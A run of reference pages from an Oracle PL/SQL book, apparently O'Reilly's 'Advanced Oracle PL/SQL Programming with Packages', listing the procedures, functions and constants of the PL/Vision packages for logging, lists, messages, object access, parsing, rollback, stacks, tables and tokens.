FUNCTION pstab_count RETURN INTEGER;

Returns the number of rows filled in the PLVlog PL/SQL table.

PROCEDURE set_dbtab
(table_in IN VARCHAR2 := 'PLV_log',
context_col_in IN VARCHAR2 := 'context',
code_col_in IN VARCHAR2 := 'code',
text_col_in IN VARCHAR2 := 'text',
create_ts_col_in IN VARCHAR2 := 'create_ts',
create_by_col_in IN VARCHAR2 := 'create_by');

Determines which database table is to be used by PLVlog for logging. PLVlog relies on dynamic SQL, so you can at runtime specify the table and column names for this table.

PROCEDURE fclose;

Closes the operating system file if you have chosen a file for the log repository.

PROCEDURE ps2db;

Transfers contents of PL/SQL log to the PLVlog database table.

5.17.7 Rolling back in PLVlog

PROCEDURE do_rollback;

Turns on the issuing of a ROLLBACK before an INSERT into the log.

PROCEDURE nodo_rollback;

Turns off the issuing of a ROLLBACK before an INSERT into the log.

FUNCTION rolling_back RETURN BOOLEAN;

Returns TRUE if PLVlog is issuing a ROLLBACK before an INSERT.

PROCEDURE rb_to (savepoint_in IN VARCHAR2 := c_none);

Sets the default savepoint used both for the ROLLBACK command before a log insert and the SAVEPOINT command after the log insert.

PROCEDURE rb_to_last;

Sets the savepoint used both for the ROLLBACK command before a log insert to the last savepoint known to PLVrb.

PROCEDURE rb_to_default;

Sets the default savepoint used both for the ROLLBACK command before a log insert to the PLVlog default savepoint.

PROCEDURE set_sp (savepoint_in IN VARCHAR2);

Sets the name of the savepoint to be set after the call to put_line to write a line to the log.

Previous: 5.16 PLVlex: Lexical Analysis | Advanced Oracle PL/SQL Programming with Packages | Next: 5.18 PLVlst: List Manager
5.16 PLVlex: Lexical Analysis | Book Index | 5.18 PLVlst: List Manager
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.18 PLVlst: List Manager

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.18 PLVlst: List Manager

The PLVlst (PL/Vision LiST manager) package provides a generic list manager for PL/SQL built on PL/SQL tables. See the companion disk for details.

5.18.1 Package exceptions

list_undefined EXCEPTION;

Raised when you attempt to perform a PLVlst operation on an undefined list.

list_full EXCEPTION;

Raised when you attempt to add another item to a list which is already full (currently limited to maximum of 10,000 items in a list).

out_of_bounds EXCEPTION;

Exception raised when you try to reference an item in the list that is not defined.

5.18.2 Creating and destroying lists

PROCEDURE make (list_in IN VARCHAR2);

Allocates storage for a new list of the specified name.

FUNCTION is_made (list_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the specified list already exists.

PROCEDURE destroy (list_in IN VARCHAR2);

Destroys the list, freeing up associated memory.

5.18.3 Modifying list contents

PROCEDURE appenditem (list_in IN VARCHAR2, item_in IN VARCHAR2);

Adds an item to the end of the specified list.

PROCEDURE insertitem
(list_in IN VARCHAR2, position_in IN NUMBER,
item_in IN VARCHAR2);

Inserts an item at the specified position in the list.

PROCEDURE prependitem (list_in IN VARCHAR2, item_in IN VARCHAR2);

Inserts an item at the first position of the list.

PROCEDURE replaceitem
(list_in IN VARCHAR2, position_in IN NUMBER,
item_in IN VARCHAR2);

Replaces the nth item in the list with the new item.

PROCEDURE deleteitem (list_in IN VARCHAR2, item_in IN VARCHAR2);

Deletes the first occurrence of the specified item from the list.

PROCEDURE deleteitem (list_in IN VARCHAR2, position_in IN NUMBER);

Deletes the item at the specified location in the list.

5.18.4 Analyzing list contents

FUNCTION getitem (list_in IN VARCHAR2, position_in IN NUMBER);

Returns the nth item from the list.

FUNCTION getposition (list_in IN VARCHAR2, item_in IN VARCHAR2)
RETURN NUMBER;

Returns the position of the specified item in the list.

FUNCTION nitems (list_in IN VARCHAR2) RETURN INTEGER;

Returns the number of items currently in the list.

PROCEDURE display (list_in IN VARCHAR2);

Displays the contents of the specified list.

Previous: 5.17 PLVlog: Logging Facility | Advanced Oracle PL/SQL Programming with Packages | Next: 5.19 PLVmsg: Message Handling
5.17 PLVlog: Logging Facility | Book Index | 5.19 PLVmsg: Message Handling
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.19 PLVmsg: Message Handling

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.19 PLVmsg: Message Handling

The PLVmsg (PL/Vision MeSsaGe) package consolidates various kinds of message text in a single PL/SQL-based repository. See Chapter 9, PLVmsg: Single-Sourcing PL/SQL Message Text for details.

5.19.1 Restricting use of text

PROCEDURE restrict;

Restricts text for Oracle error numbers to be retrieved from a call to SQLERRM (the default).

PROCEDURE norestrict;

Directs PLVmsg to retrieve message text only from the PL/SQL table.

FUNCTION restricting RETURN BOOLEAN;

Describes current state of restrict toggle: TRUE if restricting text to SQLERRM, FALSE otherwise.

5.19.2 Managing and accessing message text

FUNCTION text (num_in IN INTEGER := SQLCODE) RETURN VARCHAR2;

Returns the text stored in the PL/SQL table of the PLVmsg package for the specified row number.

PROCEDURE add_text (num_in IN INTEGER, text_in IN VARCHAR2);

Adds text to the PL/SQL table of the PLVmsg package at the specified row number.

PROCEDURE load_from_dbms
(table_in IN VARCHAR2,
where_clause_in IN VARCHAR2 := NULL,
code_col_in IN VARCHAR2 := 'error_code',
text_col_in IN VARCHAR2 := 'error_text');

Loads the PL/SQL table of the PLVmsg package from the specified table using DBMS_SQL. You can specify the table name, optional WHERE clause, and even the names of the columns.

FUNCTION min_row RETURN BINARY_INTEGER;

Returns the lowest row number in use by the PLVmsg PL/SQL table. This is necessary for PL/SQL tables in PL/SQL Releases 2.2 and below.

FUNCTION max_row RETURN BINARY_INTEGER;

Returns the highest row number in use by the PLVmsg PL/SQL table. This is necessary for PL/SQL tables in PL/SQL Releases 2.2 and below.

Previous: 5.18 PLVlst: List Manager | Advanced Oracle PL/SQL Programming with Packages | Next: 5.20 PLVobj: Object Interface
5.18 PLVlst: List Manager | Book Index | 5.20 PLVobj: Object Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.20 PLVobj: Object Interface

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.20 PLVobj: Object Interface

The PLVobj (PL/Vision OBJect) package provides a programmatic interface to the PL/SQL objects stored in the ALL_OBJECTS data dictionary view. See Chapter 20 for details.

5.20.1 Tracing PLVobj activity

PROCEDURE display;

Turns on display of information about activity occurring in PLVobj.

PROCEDURE nodisplay;

Turns off display of PLVobj activity.

FUNCTION displaying RETURN BOOLEAN;

Returns TRUE if showing activity in PLVobj.

5.20.2 General constants and exceptions

no_name_specified EXCEPTION;

Exception raised when you try to perform an operation but have not specified the name of the object (the "current object" has not been set).

c_pkg_spec CONSTANT VARCHAR2(1) := 'S';
c_pkg_body CONSTANT VARCHAR2(1) := 'B';
c_entire_pkg CONSTANT VARCHAR2(2) := 'SB';
c_proc CONSTANT VARCHAR2(2) := 'P';
c_func CONSTANT VARCHAR2(2) := 'F';

Names for the different types of program units. You can use these in calls to set_type or simply pass the literal values as part of a single type-name string.

c_procedure CONSTANT VARCHAR2(30) := 'PROCEDURE';
c_function CONSTANT VARCHAR2(30) := 'FUNCTION';
c_synonym CONSTANT VARCHAR2(30) := 'SYNONYM';
c_package CONSTANT VARCHAR2(30) := 'PACKAGE';
c_package_body CONSTANT VARCHAR2(30) := 'PACKAGE BODY';

Full names of program unit types as they are found in ALL_OBJECTS.

5.20.3 Setting the current object

PROCEDURE setcurr
(name_in IN VARCHAR2, type_in IN VARCHAR2 := NULL);

Sets the current object for other PLVobj modules. When you call setcurr, you set the schema, name, and type for the object. You can also call the individual programs listed below to set a single part of the current object.

PROCEDURE set_schema (schema_in IN VARCHAR2 := USER);

Sets the schema for the current object.

PROCEDURE set_type (type_in IN VARCHAR2);

Sets the type for the current object.

PROCEDURE set_name (name_in IN VARCHAR2);

Sets the name for the current object.

5.20.4 Accessing the current object

FUNCTION currname RETURN VARCHAR2;

Returns the name of the current object.

FUNCTION currtype RETURN VARCHAR2;

Returns the type of the current object.

FUNCTION currschema RETURN VARCHAR2;

Returns the schema of the current object.

FUNCTION fullname RETURN VARCHAR2;

Returns the full name of the current object (the different elements concatenated together).

PROCEDURE showcurr (show_header_in IN BOOLEAN := TRUE);

Displays the full name of the current object.

5.20.5 Interfacing with the PLVobj cursor

PROCEDURE open_objects;

Opens the PLVobj cursor for the current object settings.

PROCEDURE fetch_object;
PROCEDURE fetch_object
(name_out OUT VARCHAR2, type_out OUT VARCHAR2);

Two overloaded versions to fetch the next row from the PLVobj cursor. The first version fetches the next object into the current object. The second version allows you to fetch the next object into local variables, leaving the current object unchanged.

FUNCTION more_objects RETURN BOOLEAN;

Returns TRUE if the last fetch from the PLVobj cursor returned a record.

PROCEDURE close_objects;

Closes the PLVobj cursor.

5.20.6 Programmatic cursor FOR loop elements

PROCEDURE loopexec
   (module_in IN VARCHAR2,
    exec_in IN VARCHAR2 := c_show_object,
    placeholder_in IN VARCHAR2 := c_leph,
    name_format_in IN VARCHAR2 := c_modspec);

The loopexec procedure simulates a cursor FOR loop through a programmatic interface using dynamic PL/SQL. You can modify the behavior of loopexec through the use of the following constants.

c_leph CONSTANT VARCHAR2(10) := ':rowobj';

The default Loop Exec PlaceHolder string.

c_show_object CONSTANT VARCHAR2(100) := 'p.l (:rowobj)';

The default action for loopexec, which is to display the set of objects that are fetched by the cursor.

c_modspec CONSTANT VARCHAR2(1) := 'S';
c_modname CONSTANT VARCHAR2(1) := 'N';

Named constants for the two different formats for object names manipulated by loopexec: S for module specification and N for module name.

v_letab PLVtab.vc2000_table;
v_lerowind INTEGER;

The PL/SQL table and row count variable used to store all the objects retrieved by the programmatic cursor FOR loop, loopexec.

5.20.7 Saving and restoring PLVobj settings

PROCEDURE savecurr;

Saves the current object to private variables so that it can be restored.

PROCEDURE restcurr;

Restore the current object from the saved setting.

5.20.8 Miscellaneous PLVobj programs

PROCEDURE vu2pstab
(module_in IN VARCHAR2,
table_out OUT PLVtab.vc2000_table,
num_objects_inout IN OUT INTEGER);

Copies the set of objects identified by the PLVobj cursor to a PL/SQL table.

PROCEDURE convobj
(name_inout IN OUT VARCHAR2,
type_inout IN OUT VARCHAR2,
schema_inout IN OUT VARCHAR2);

Converts a single object string (which can have a complex format such as type:schema.name)

PROCEDURE bindobj
(cur_in IN INTEGER,
name_col_in IN VARCHAR2 := 'name',
type_col_in IN VARCHAR2 := 'type',
schema_col_in IN VARCHAR2 := NULL);

Encapsulates calls to DBMS_SQL.BIND_VARIABLE to allow binding of the different elements of the current object into the specified cursor. You can bind all three elements as a subset; binding will only occur for those arguments that have non-NULL values.

PROCEDURE convert_type (type_inout IN OUT VARCHAR2);

Converts a variety of abbreviations for program unit types into the strings employed in the ALL_OBJECTS data dictionary view. The string "BODY", for example, is converted to the full "PACKAGE BODY".

Previous: 5.19 PLVmsg: Message Handling | Advanced Oracle PL/SQL Programming with Packages | Next: 5.21 PLVprs: String Parsing
5.19 PLVmsg: Message Handling | Book Index | 5.21 PLVprs: String Parsing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.21 PLVprs: String Parsing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.21 PLVprs: String Parsing

The PLVprs (PL/Vision PaRSe) package offers a set of programs which provide generic and flexible string parsing capabilities. See Chapter 10, PLVprs, PLVtkn, and PLVprsps: Parsing Strings for details.

5.21.1 Package constants

c_ignore_case CONSTANT VARCHAR2(1) := 'I';
c_respect_case CONSTANT VARCHAR2(1) := 'R';

Use these constants to indicate whether you want case to be ignored or respected in the current operation.

c_all CONSTANT VARCHAR(3) := 'ALL';
c_word CONSTANT VARCHAR(4) := 'WORD';
c_delim CONSTANT VARCHAR(5) := 'DELIM';

The different types of atomics; c_all indicates "all atomics"; c_word indicates "words only"; c_delim indicates "delimiters only".

std_delimiters CONSTANT VARCHAR2 (50) :=
'!@#$%^&*()-_=+\|`~{{]};:''",<.>/?' ||
PLVchr.newline_char || PLVchr.tab_char || PLVchr.space_char;

The standard set of delimiter characters.

plsql_delimiters CONSTANT VARCHAR2 (50) :=
'!@%^&*()-=+\|`~{{]};:''",<.>/?' ||
PLVchr.newline_char || PLVchr.tab_char || PLVchr.space_char;

The set of delimiters for the PL/SQL language; this list is a bit different from the std_delimiters. The underscore and pound sign characters, for example, are not delimiters in PL/SQL.

5.21.2 Wrapping long strings into paragraphs

PROCEDURE wrap
(text_in IN VARCHAR2,
line_length IN INTEGER,
paragraph_out IN OUT PLVtab.vc2000_table,
num_lines_out IN OUT INTEGER);

Wraps the string provided by text_in into separate lines with a maximum specified length, each line of which is stored in consecutive rows in a PL/SQL table.

FUNCTION wrapped_string
(text_in IN VARCHAR2,
line_length IN INTEGER := 80,
prefix_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Returns a long string wrapped into a series of lines separated by newline characters. This version of wrap avoids the need to define and manipulate a PL/SQL table.

PROCEDURE display_wrap
(text_in IN VARCHAR2,
line_length IN INTEGER := 80,
prefix_in IN VARCHAR2 := NULL);

Displays the wrapped version of text_in using the p.l procedure (and DBMS_OUTPUT.PUT_LINE).

5.21.3 Analyzing string contents

FUNCTION next_atom_loc
(string_in IN VARCHAR2,
start_loc_in IN NUMBER,
direction_in IN NUMBER := +1,
delimiters_in IN VARCHAR2 := std_delimiters)
RETURN INTEGER;

Returns the location in the string of the next atomic. You provide the starting location of the scan, the direction of the scan (usually +1 or -1, but you can provide other values as well), and the delimiters to be used in the scan.

FUNCTION numatomics
(string_in IN VARCHAR2,
count_type_in IN VARCHAR2 := c_all,
delimiters_in IN VARCHAR2 := std_delimiters)
RETURN INTEGER;

Returns the number of atomics in a string, where the definition of an atomic is provided by the count type (all or word or delimiter) and the set of delimiters.

FUNCTION nth_atomic
(string_in IN VARCHAR2,
nth_in IN NUMBER,
count_type_in IN VARCHAR2 := c_all,
delimiters_in IN VARCHAR2 := std_delimiters)
RETURN VARCHAR2;

Returns the nth atomic in a string, where the definition of an atomic is provided by the count type (all or word or delimiter) and the set of delimiters.

FUNCTION numinstr
(string_in IN VARCHAR2,
substring_in IN VARCHAR2,
ignore_case_in IN VARCHAR2 := c_ignore_case)
RETURN INTEGER;

Returns the number of times a substring occurs in a string. You can choose to perform a search that is case-sensitive or that ignores case.

5.21.4 Parsing strings

PROCEDURE string
(string_in IN VARCHAR2,
atomics_list_out OUT PLVtab.vc2000_table,
num_atomics_out IN OUT NUMBER,
delimiters_in IN VARCHAR2 := std_delimiters);

Parses a string into atomics that are loaded into a PL/SQL table. You decide which characters will serve as the delimiters.

PROCEDURE string
(string_in IN VARCHAR2,
atomics_list_out IN OUT VARCHAR2,
num_atomics_out IN OUT NUMBER,
delimiters_in IN VARCHAR2 := std_delimiters);

Parses a string into atomics stored in a string with each atomic separated by a vertical bar. Once again, you decide which characters will serve as the delimiters.

PROCEDURE display_atomics
(string_in IN VARCHAR2,
delimiters_in IN VARCHAR2 := std_delimiters);

Displays the individual atomics in a string, as defined by the provided list of delimiters.

Previous: 5.20 PLVobj: Object Interface | Advanced Oracle PL/SQL Programming with Packages | Next: 5.22 PLVprsps: PL/SQL Source Code Parsing
5.20 PLVobj: Object Interface | Book Index | 5.22 PLVprsps: PL/SQL Source Code Parsing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.22 PLVprsps: PL/SQL Source Code Parsing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.22 PLVprsps: PL/SQL Source Code Parsing

The PLVprsps (PL/Vision PaRSe PL/SQL) package is a more specialized string parser than PRSprs; it parses PL/SQL source code into its separate atomics. See Chapter 10 for details.

5.22.1 Package constants

The following constants are used to specify the types of tokens to be preserved when PL/SQL source code is parsed.

c_all_tokens CONSTANT VARCHAR2(1) := 'A';

Specifies "all tokens".

c_kw_tokens CONSTANT VARCHAR2(1) := 'K';

Specifies "keywords only".

c_nonkw_tokens CONSTANT VARCHAR2(1) := 'N';

Specifies "non-keywords only" or application-specific identifiers.

c_bi_tokens CONSTANT VARCHAR2(1) := 'B';

Specifies keywords that are builtins.

5.22.2 Specifying tokens of interest

PROCEDURE keep_all;

Specifies that when a PL/SQL string is parsed, all tokens are to be kept (stored in a PL/SQL table).

PROCEDURE keep_kw;

Specifies that when a PL/SQL string is parsed, only keywords are to be kept.

PROCEDURE keep_nonkw;

Specifies that when a PL/SQL string is parsed, only non-keywords are to be kept.

PROCEDURE keep_bi;

Specifies that when a PL/SQL string is parsed, only keywords that are builtins are to be kept.

PROCEDURE nokeep_all;

Specifies that when a PL/SQL string is parsed, all tokens are to be ignored.

PROCEDURE nokeep_kw;

Specifies that when a PL/SQL string is parsed, all keywords are to be ignored.

PROCEDURE nokeep_nonkw;

Specifies that when a PL/SQL string is parsed, only non-keywords are to be ignored.

PROCEDURE nokeep_bi;

Specifies that when a PL/SQL string is parsed, only builtin keywords are to be ignored.

5.22.3 Parsing PL/SQL source code

PROCEDURE init_table
(tokens_out IN OUT PLVtab.vc2000_table,
num_tokens_out IN OUT INTEGER);

Initializes (to empty) a PL/SQL table that will hold the parsed tokens.

PROCEDURE plsql_string
(line_in IN VARCHAR2,
tokens_out IN OUT PLVtab.vc2000_table,
num_tokens_out IN OUT INTEGER,
in_multiline_comment_out IN OUT BOOLEAN);

Parses a single line of code -- a PL/SQL string -- and deposits the separate tokens in the PL/SQL table. It also passes back a Boolean flag to indicate whether, at the end of this string, the code is within a multiline comment block.

PROCEDURE module
(module_in IN VARCHAR2 := NULL,
tokens_out IN OUT PLVtab.vc2000_table,
num_tokens_out IN OUT INTEGER);

Parses all the lines of code for the specified program.

PROCEDURE module
(tokens_out IN OUT PLVtab.vc2000_table,
num_tokens_out IN OUT INTEGER);

Parses all the lines of code for the current object as specified by the PLVobj package.

Previous: 5.21 PLVprs: String Parsing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.23 PLVrb: Rollback Processing
5.21 PLVprs: String Parsing | Book Index | 5.23 PLVrb: Rollback Processing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.23 PLVrb: Rollback Processing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.23 PLVrb: Rollback Processing

The PLVrb (PL/Vision RollBack) package provides a programmatic interface to rollback activity in PL/SQL. See Chapter 20 for details.

5.23.1 Controlling rollback activity

PROCEDURE turn_on;

Enables rollback processing in PLVrbPLVcmt. This is not the default.

PROCEDURE turn_off;

Disables rollback processing in PLVrbPLVcmt. When this is called in the current session, the ROLLBACK statement will not be executed (the default).

FUNCTION rolling_back RETURN BOOLEAN;

Returns TRUE if rollback processing is being performed by PLVrbPLVcmt.

5.23.2 Logging rollback activity

PROCEDURE log;

Requests that whenever a ROLLBACK is performed, a message is sent to the PL/Vision log.

PROCEDURE nolog;

Do not log a message with the ROLLBACK.

FUNCTION logging RETURN BOOLEAN;

Returns TRUE if currently logging the fact that a rollback was performed by PLVrbPLVcmt.

5.23.3 Performing rollbacks

PROCEDURE perform_rollback (context_in IN VARCHAR2 := NULL);

Issues a ROLLBACK command.

PROCEDURE rollback_to
(sp_in IN VARCHAR2, context_in IN VARCHAR2 := NULL);

Issues a ROLLBACK to the specified savepoint.

PROCEDURE rb_to_last (context_in IN VARCHAR2 := NULL);

Issues a ROLLBACK to the last savepoint specified in a call to set_savepoint.

5.23.4 Managing savepoints

PROCEDURE set_savepoint (sp_in IN VARCHAR2);

Sets a savepoint by soft-coded string, rather than the usual hard-coded savepoint identifier. This savepoint is set to the "last savepoint" recorded by PLVrbPLVcmt.

FUNCTION lastsp RETURN VARCHAR2;

Returns the name of the last savepoint.

PROCEDURE reset_savepoints;

Clears the stack of savepoints maintained by PLVrb. This is called by PLVrbPLVcmt after a commit is performed.

Previous: 5.22 PLVprsps: PL/SQL Source Code Parsing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.24 PLVstk: Stack Manager
5.22 PLVprsps: PL/SQL Source Code Parsing | Book Index | 5.24 PLVstk: Stack Manager
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.24 PLVstk: Stack Manager

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.24 PLVstk: Stack Manager

The PLVstk (PL/Vision STacK manager) package is a generic manager for both first-in-first-out (FIFO) and last-in-last-out (LIFO) stacks; it is built on PLVlst. See the companion disk for details.

5.24.1 Package constants

defstk CONSTANT VARCHAR2(5) := 'stack';

The name of the default stack.

lifo CONSTANT VARCHAR2(4) := 'LIFO';

Indicates that you are working with a last-in-first-out stack. Used in calls to pop.

fifo CONSTANT VARCHAR2(4) := 'FIFO';

Indicates that you are working with a first-in-first-out stack. Used in calls to pop.

5.24.2 Creating and destroying stacks

PROCEDURE make
(stack_in IN VARCHAR2 := defstk,
overwrite_in IN BOOLEAN := TRUE);

Allocates storage for a stack of up to 1,000 items with the specified name. By default, if the stack already exists it will be reinitialized to an empty stack.

PROCEDURE destroy (stack_in IN VARCHAR2 := defstk);

Releases all memory associated with this stack.

5.24.3 Modifying stack contents

PROCEDURE push
(item_in IN VARCHAR2, stack_in IN VARCHAR2 := defstk);

Pushes an item onto the specified stack.

PROCEDURE pop
(value_out IN OUT VARCHAR2,
stack_in IN VARCHAR2 := defstk,
stack_type_in IN VARCHAR2 := lifo);

Pops an item off the top (LIFO) or bottom (FIFO) of the stack.

5.24.4 Analyzing stack contents

FUNCTION nitems (stack_in IN VARCHAR2 := defstk)
RETURN INTEGER;

Returns the number of items currently in the stack.

FUNCTION itemin (stack_in IN VARCHAR2, item_in IN VARCHAR2)
RETURN BOOLEAN;

Returns TRUE if the specified item is found in the stack.

5.24.5 Tracing Stack Activity

PROCEDURE show
(stack_in IN VARCHAR2 := defstk,
show_contents_in IN BOOLEAN := FALSE);

Requests that pre-action status of stack be displayed for the specified stack (or all).

PROCEDURE noshow;

Turns off display of pre-action status.

FUNCTION showing RETURN BOOLEAN;

Returns TRUE if showing pre-action status.

PROCEDURE verify
(stack_in IN VARCHAR2 := defstk,
show_contents_in IN BOOLEAN := FALSE);

Requests that post-action status of stack be displayed for the specified stack (or all).

PROCEDURE noverify;

Turns off display of post-action status.

FUNCTION verifying RETURN BOOLEAN;

Returns TRUE if showing post-action status.

Previous: 5.23 PLVrb: Rollback Processing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.25 PLVtab: Table Interface
5.23 PLVrb: Rollback Processing | Book Index | 5.25 PLVtab: Table Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.25 PLVtab: Table Interface

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.25 PLVtab: Table Interface

The PLVtab (PL/Vision TABle) package makes it easier to declare, use, and display the contents of PL/SQL tables by providing predefined PL/SQL table types and programs. See Chapter 8, PLVtab: Easy Access to PL/SQL Tables for details.

5.25.1 Predefined table TYPEs

Since these table TYPES are already defined in the PLVtab package, you can use them to declare your own PL/SQL tables -- and not deal with the cumbersome syntax.

TYPE boolean_table IS TABLE OF BOOLEAN INDEX BY BINARY_INTEGER;
TYPE date_table IS TABLE OF DATE INDEX BY BINARY_INTEGER;
TYPE integer_table IS TABLE OF INTEGER INDEX BY BINARY_INTEGER;
TYPE number_table IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;
TYPE vc30_table IS TABLE OF VARCHAR2(30) INDEX BY BINARY_INTEGER;
TYPE vc60_table IS TABLE OF VARCHAR2(60) INDEX BY BINARY_INTEGER;
TYPE vc80_table IS TABLE OF VARCHAR2(80) INDEX BY BINARY_INTEGER;
TYPE vc2000_table IS TABLE OF VARCHAR2(2000) INDEX BY BINARY_INTEGER;
TYPE vcmax_table IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;

5.25.2 The empty PL/SQL tables

An empty PL/SQL table is a structure in which no rows have been defined. The only way to delete all the rows from a PL/SQL table is to assign an empty table to that table. You can use these predefined PL/SQL tables to accomplish this task easily.

empty_boolean boolean_table;
empty_date date_table;
empty_integer integer_table;
empty_number number_table;
empty_vc30 vc30_table;
empty_vc60 vc60_table;
empty_vc80 vc80_table;
empty_vc2000 vc2000_table;
empty_vcmax vcmax_table;

5.25.3 Toggle for showing header

PROCEDURE showhdr;

Requests that a header be displayed with the contents of the table (the header text is passed in the call to the display procedure). This is the default.

PROCEDURE noshowhdr;

Turns off the display of the header text with the table contents.

FUNCTION showing_header RETURN BOOLEAN;

Returns TRUE if the header is being displayed.

5.25.4 Toggle for showing row numbers

PROCEDURE showrow;

Requests that the row number be displayed with the row contents.

PROCEDURE noshowrow;

Turns off display of the row number (the default).

FUNCTION showing_row RETURN BOOLEAN;

Returns TRUE if the row number is being displayed.

5.25.5 Toggle for showing blanks in row

PROCEDURE showblk;

Requests that blank lines be displayed. A NULL row will display as the p.fornull NULL substitution value. A line consisting only of blanks will be displayed as the word BLANKS.

PROCEDURE noshowblk;

Requests that blank lines be displayed as blank lines.

FUNCTION showing_blk RETURN BOOLEAN;

Returns TRUE if showing the contents of blank lines.

5.25.6 Setting the row prefix

PROCEDURE set_prefix (prefix_in IN VARCHAR2 := NULL);

Sets the character(s) used as a prefix to the text displayed before the value in the table's row (default is NULL).

FUNCTION prefix RETURN VARCHAR2;

Returns the current prefix character(s).

5.25.7 Saving and restoring settings

PROCEDURE save;

Saves the current settings for the toggles to private variables in the package.

PROCEDURE restore;

Restores the settings for the toggles from the saved values.

5.25.8 Displaying a PLVtab table

PROCEDURE display
(tab_in IN boolean_table|date_table|number_table|integer_table,
end_in IN INTEGER,
hdr_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
failure_threshold_in IN INTEGER := 0,
increment_in IN INTEGER := +1);
PROCEDURE display
(tab_in IN
vc30_table|vc60_table|vc80_table|vc2000_table|vcmax_table,
end_in IN INTEGER,
hdr_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
failure_threshold_in IN INTEGER := 0,
increment_in IN INTEGER := +1);

The display procedure is overloaded nine times, for a variety of datatypes. The first version above shows the overloading for non-string datatypes. The second version shows all the different types of string PL/SQL tables supported by the PLVtab.display procedure.

Previous: 5.24 PLVstk: Stack Manager | Advanced Oracle PL/SQL Programming with Packages | Next: 5.26 PLVtkn: Token Table Interface
5.24 PLVstk: Stack Manager | Book Index | 5.26 PLVtkn: Token Table Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.26 PLVtkn: Token Table Interface

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.26 PLVtkn: Token Table Interface

The PLVtkn (PL/Vision ToKeN) package provides an interface to the PLV_token table; the package examines this table to determine whether an identifier is a keyword. See Chapter 10 for details.

5.26.1 Package constants

c_any CONSTANT CHAR(1) := '%';
c_syntax CONSTANT CHAR(1) := 'X';
c_builtin CONSTANT CHAR(1) := 'B';
c_symbol CONSTANT CHAR(1) := 'S';
c_exception CONSTANT CHAR(1) := 'E';
c_datatype CONSTANT CHAR(1) := 'D';
c_datadict CONSTANT CHAR(2) := 'DD';
c_sql CONSTANT CHAR(3) := 'SQL';

Each of these constants specify a different type of token or reserved word in the PL/SQL language (except for c_any, of course). They match the values found in the PLV_token_type table. They are used by various programs in the PLVtkn package.

c_plsql CONSTANT CHAR(1) := '%'; /* = c_builtin */
